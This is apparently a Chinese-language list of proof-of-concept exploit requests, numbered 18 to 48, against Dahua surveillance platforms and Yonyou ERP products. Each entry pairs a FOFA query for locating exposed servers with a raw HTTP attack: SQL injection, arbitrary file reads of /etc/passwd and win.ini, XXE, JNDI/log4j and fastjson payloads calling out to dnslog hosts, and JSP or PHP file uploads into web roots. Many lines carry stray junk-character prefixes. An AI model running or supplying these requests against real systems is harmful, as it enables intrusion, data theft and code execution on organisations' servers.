6 Y! e: y5 [0 w3 WPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ ]6 u% c/ `5 f: }+ YContent-Length: 345
Accept-Encoding: gzip

% ]  `- y9 {5 T' n<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
2 M* {6 q) G" b2 N$ ]. y<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
! U- s) E8 h# F! h      <netMarkings>
# Z, {! K. G0 q3 d* O       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
# R1 j4 e7 q( r  q% p  y1 e      </netMarkings>
, R# n2 Q& `1 c( L4 ]/ p    </ns1:deleteBulletin>
3 d4 k& F" i) C  </s11:Body>
8 T2 w* R! d% Y</s11:Envelope>

; ]4 P; O6 U) K3 c% n/ d/ X
7 I; e# }" c! f8 E/ ]3 B7 N18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
: W5 g. J: y. ]; l0 lGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
0 J3 }- k+ Z* r0 F" m* U" T% XAccept: */*
) S/ Q( i8 ]. S; \Connection: keep-alive


" i; G1 I) Z9 V; x- U. D/ T. v3 t" {
: E! {7 D' B# q" e' K19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
4 B4 Y% O' Y. W9 ~' k8 Z2 m6 G. q5 eGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
8 a( M! k/ |8 i' EHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* \* `5 n9 [4 D0 l6 O8 c+ X2 DAccept: */*
Connection: keep-alive

& s3 _& ^8 t& v4 J; o
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
$ z4 h& q# r! {2 C# r9 G6 [, Y0 n" RHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
$ |6 l" B! O6 p5 v2 a/ @Accept-Encoding: gzip
% K8 @9 x9 k. h6 k) ~/ R  r

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
2 T) `, r: Z: j  ~7 j5 x5 {POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
  [: w/ r( }" s& W. h& U/ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) D$ I1 p) w2 w- I6 b" c+ R3 g" H# V9 BContent-Length: 161
Accept-Encoding: gzip
Connection: close
6 P0 L' o$ J' l2 D  m) BContent-Type: application/json;charset=utf-8

{
"a":{
7 m) X5 A5 h4 s2 ?( j- J, f   "@type":"com.alibaba.fastjson.JSONObject",
- o( g% z3 j! ~, m! p" i    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
- R; m+ n' H4 G% J' \. V7 l  }""
4 C* j0 |7 z% l8 M* \}
! w5 v7 k2 x$ T8 X, h
6 x& S5 z- V' G# ]
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
8 _$ \! |" }. wPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
}
. U8 @) A) u; p8 N$ w" l
& c# A% F$ D' O: a
+ l: |' H7 `$ M* q
: A% ^& {$ Y7 P* o( R# P6 J23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
% _( J- p  K3 Y) A& e% F) r' ]$ aFOFA：icon_hash="-1935899595"
: a, [- R6 ~; B- u2 JPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# P' a" B/ i- `1 @Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
' e/ V: @- h) LAccept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
- @7 m5 I4 b  a& j+ `       {"@type":"java.net.URL","val":"http://DNSLOG"}
" l3 a  d3 ]/ {) D% m8 D# V; v+ Y* w        }""
}

, L& r. y' B5 E6 v% z
24. 用友NC 6.5 accept.jsp任意文件上传
) y, L+ K0 P$ Z& V5 b, R7 dFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
4 y. l% a% v  d- Y# PUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
* U* d6 i* C- g& Z6 [Connection: close
. r% ~/ U# d! OContent-Length: 449
$ q4 f2 s7 n. h2 l' O" j9 U& _. NAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
: n( j  R3 `9 d# p) {9 S
3 u4 y5 @6 ]7 F0 W6 f0 w  b( y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
5 N9 `: h0 U) v; P
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

3 B5 H4 v* e  q6 }; ]\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

& @! \; [6 {: Y. |1 u
# N4 G4 t; H/ b# k2 Q25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
. l: g, ?8 |/ u+ F) xPOST /portal/registerServlet HTTP/1.1
' r' P9 q/ @) p3 t. S, J1 T; LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
: k) I# y8 l( @7 a  sAccept-Encoding: gzip, deflate
1 d, `3 I( a6 m4 X$ j: |/ O- r! GAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
# l" O( N4 r) h, i$ ^2 LContent-Type: application/x-www-form-urlencoded
2 w2 U% v% ?$ _% |! m' o
6 R& n' {1 H' Otype=1&dsname=ldap://dnslog

( M3 A+ R4 h4 S; n& ]7 {1 s) j
9 s5 [8 k  j, h1 Q* D5 g" u) |
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 G$ B: u+ U* e$ ^4 m! ZHost: your-ip
6 J* D4 ~( c+ J. X3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
2 k' Q' h& A1 E9 ZConnection: keep-alive


27. 用友 NC showcontent SQL注入
( i. }0 W4 E" W- F. [FOFA：icon_hash="1085941792"
5 |; k" ]5 s% m4 ~GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
  }* D4 w- n& E, v" X$ MHost: your-ip
% s1 Y! y( o0 M! o- Q. l0 g6 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


9 S1 i8 X; D0 P9 g) s9 P, D8 W/ E28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
2 f9 Y6 f0 s9 K5 j/ x6 h3 h
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

4 `3 q  ^3 Q6 U6 t% ~+ K
: G: e1 {) T9 S' r8 {) h/uapim/static/pages/nc/head.jsp
9 t2 q4 F9 V7 {" f- a) J, D( \: }: i1 [
& N, m: b0 L; h29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
1 v, h; S: Y/ X$ ~% QGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
" l; \* o) v+ h8 L7 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 G; S& P% b$ Y- V4 |2 K  {Accept: */*
" ~! ]5 n% v% P% ?- d! q+ }Connection: keep-alive


30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
  c; K, k$ m6 k0 Q% YHost: your-ip
; I6 K- x! I& _( y: z' `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
6 _2 {% Q1 Z. U------WebKitFormBoundaryH970hbttBhoCyj9V--


* s, N  B: Y3 D! E7 l4 \31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
: ^3 B/ ]0 B6 M% c* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 ^0 p8 w8 {3 h$ I; G0 e+ p3 E6 IContent-Type: application/x-www-form-urlencoded


% U* O$ R+ ]4 j. h" _  L32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
0 D& I3 d& H3 r5 CGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 E/ h, w" A9 e& C8 W! p$ B# HAccept-Encoding: gzip, deflate
8 ^: n4 q- c7 h4 dAccept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
+ f+ ?; e/ l0 q+ t5 U  v2 y4 @version：NC6.5FOFA：app="用友-UFIDA-NC"
/ T9 Y0 H/ o( R' B( j" j4 wGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" _( Z$ f- ~" m& \6 Z: l! qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
" ?( o0 I' |  b6 [& g+ {  L/ t. V

# g, q) p3 E7 y3 H34. 用友NC warningDetailInfo接口SQL注入
# N! f; l; R, ~/ U% z$ a! V: W- PFOFA：app="用友-UFIDA-NC"
0 u* @# E. e4 C/ Y8 eGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 `3 L1 b  n! ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- }$ ^6 J& z* `$ WAccept: */*
Connection: keep-alive

1 o! y, a6 l. v
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
* a- U8 |, p% K! M6 Y0 gHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
4 u% R8 ?  B3 }; S; w' N4 bAccept: */*
5 g5 s+ m/ c, T. @& P: ?6 ZConnection: close
; n3 b* O2 _1 O1 H1 G& s% paccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
, e) f& o# _- h) ]' i5 J$ OContent-Length: 190
+ f) f8 ?) S% f% I8 e! ^Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
# z$ G7 X3 b" iContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

" [2 S7 R, d( ?( w3 h2 D<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


3 s& T! Z2 `/ F; J; [: N) s36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
8 R% F6 C# `; k% S# xPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
/ j$ d+ _$ J1 o) xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* H+ ?* Q# l+ `& T3 h4 |8 CAccept-Encoding: gzip, deflate
8 y' p" T" d- g% JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 y* f) U2 m% B7 u: x; qConnection: close
) ~) W) O, x# |7 ~% [Content-Type: application/x-www-form-urlencoded
: x5 D- C$ P5 v/ b& ?4 |) W7 \# p7 VUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


4 P# C: e" b, C) J4 d; e* f0 E9 t37. 用友NC-Cloud IUpdateService XXE
% J" l: J. s* p# w5 X' CFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
' ?1 Y; V+ S4 z3 y1 y1 v1 BPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
8 f! m4 i! a) e; EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
- R: C0 E( r4 Z5 ]" {: w- l& k* p2 |Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
& Z$ r+ o1 I/ s. iSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

+ P  q3 t3 \1 |; s<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
) N) @* A4 L% R$ K0 ~  @<soapenv:Header/>
<soapenv:Body>
2 P- a9 w* P4 ~& L<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
' E8 F- }& [' Z& V. LPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
9 H) S7 f8 i  \9 gHost: 192.168.40.131:8088
: P) G" K9 s! Y4 }! R% BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
% F6 v) w( g; ]: Q8 ~, YContent-Length: 260
5 Q, x7 {& x4 P: D6 G0 h1 a( YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
8 N! \8 c2 B& k: [/ MAccept-Encoding: gzip, deflate
: d/ g* J( G! H: VAccept-Language: zh-CN,zh;q=0.9
' d  J/ @4 n" eConnection: close
Content-Type: application/x-www-form-urlencoded
* x% L9 l$ m$ O
/ W" Q1 U* _/ X% E, A8 I  r__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
& [1 y+ K, \% E5 Y: ^# G$ C+ |
5 V8 M; Y- K- x4 A4 T; c8 Z
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
6 j! o$ x/ C$ n: |6 T+ _1 pPOST /servlet/RegisterServlet HTTP/1.1
' c0 z0 d3 l. dHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
  L8 I" h. z& w0 r2 gConnection: close
9 z2 h) y5 _( j- ]: }9 c/ FContent-Length: 85
Accept: */*
) `2 u  e7 q" n2 jAccept-Language: en
. [6 E  ]# q! ]4 ^5 iContent-Type: application/x-www-form-urlencoded
/ c. a) C1 U5 ], M- x+ a+ V: FX-Forwarded-For: 127.0.0.1
7 J% A& {1 u" b: b4 y$ H) mAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

3 v* G5 |9 J" g
, W: R( N( z, U. }* c40. 用友U8-Cloud XChangeServlet XXE
6 R) _) x- ]* @FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
8 m8 F1 G4 m5 p& l0 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 h* `& e5 l7 }0 q/ ^6 |  CContent-Type: text/xml
Connection: close
* W% ]: Y! e' w2 N- @8 {0 F# X4 {- J
9 w3 z4 y5 |3 R& I' `7 _$ @<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

% N+ ^! u4 l+ U" g
, I" I' k, W& ~; ~0 z- }1 u41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 z! @! F3 L( n! v1 t8 o: KFOFA：app="用友-U8-Cloud"
& b) p5 X2 ~6 cGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
% p2 Z# Z9 x7 K5 z$ `2 A# w% rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; K2 l. y' i- o* |' }5 L% yContent-Type: application/json
( Y7 N! o9 U$ K' G- \; |9 @. `) E4 `Accept-Encoding: gzip
, p: _0 D1 v  M6 ^! YConnection: close


  R  G9 W1 p* N  `' R42. 用友GRP-U8 SmartUpload01 文件上传
' ^0 R9 H* `* Q7 {. U/ XFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
3 q9 d+ [3 B. Z) Q" BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
+ f, x* {, l' ]

2 ~; L' g" ]* c' O" \http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

7 P0 @! i, ?, h% T43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
3 H5 j. e# Z4 H5 ~' x+ Q+ RHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 f" W% h+ N! z8 g. aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) X+ y  [+ o: L7 [SOAPAction:
/ n( ?! T' B1 Y2 n4 A$ o+ UContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
2 {: V, p- j3 n( U) w   <soapenv:Header/>
   <soapenv:Body>
. D( v$ k  p- o2 _' N' k      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
5 X& Z1 E2 N2 q1 S+ [         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
- J! R' f! m$ P, ]   </soapenv:Body>
</soapenv:Envelope>
* Z, T3 T  ]2 z/ E- s# i5 O
% t+ [+ C$ u  E) ]9 a4 I
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
/ y7 t  G/ @9 Y; E7 L6 RFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 c+ ]9 d4 T. C7 {/ x3 i+ L1 M
3 Z1 m1 b5 S0 B
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
# H# W6 N0 \$ I3 D; |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

# ?; k/ A( |  p- b2 \reqData=<?xml version="1.0"?>
; ~4 m0 l3 F$ |8 [0 c* X<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
) H; S9 V# `  s0 s; h1 G3 c

7 B: v, p( p+ r# c; I46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
7 X# {5 H  J4 a. J% c0 E/ R7 JGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
. m6 p% T9 ~, X* `5 ^( HHost: your-ip
$ s, ?) @+ [1 }0 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 ?# H; H4 l4 @4 Q% w4 }Connection: close
3 c( X) X0 q: j8 }: B  |4 q% V
" C% M0 ]/ T5 P) r& m3 ~
+ k. e( I8 k1 ?- v1 A8 x! m47. 用友GRP A++Cloud 政府财务云 任意文件读取
0 ^( d# r9 e! xFOFA：body="/pf/portal/login/css/fonts/style.css"
: I# l. m* B5 I' H+ k7 y( SGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
6 H2 z* |+ L$ i/ vUpgrade-Insecure-Requests: 1
- y9 Q! H2 [3 A8 Q5 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. B2 n& a2 A$ N9 _! F! f& ?  cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! G/ \7 `0 W( rAccept-Encoding: gzip, deflate, br
' W4 C& v, z  `2 m* g) aAccept-Language: zh-CN,zh;q=0.9
! Y* n5 c8 c# J, V3 g% b0 \3 T0 IIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
( t$ G& M5 s3 T0 y, H7 S1 }Connection: close
1 ~! \& H2 C  s8 _9 a/ B  }

  A! |3 e& {  o1 e) i! w% f7 H
* a8 e% z; I0 C( d1 k48. 用友U8 CRM swfupload 任意文件上传
  s9 P! F( ^) {7 uFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: i8 r: L& {, `& o6 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
+ X  f) F; X/ ]% @' R( m------269520967239406871642430066855
; d7 @/ i. n3 @  ], ~6 b8 h/ a* F; bContent-Disposition: form-data; name="file"; filename="s.php"
1231
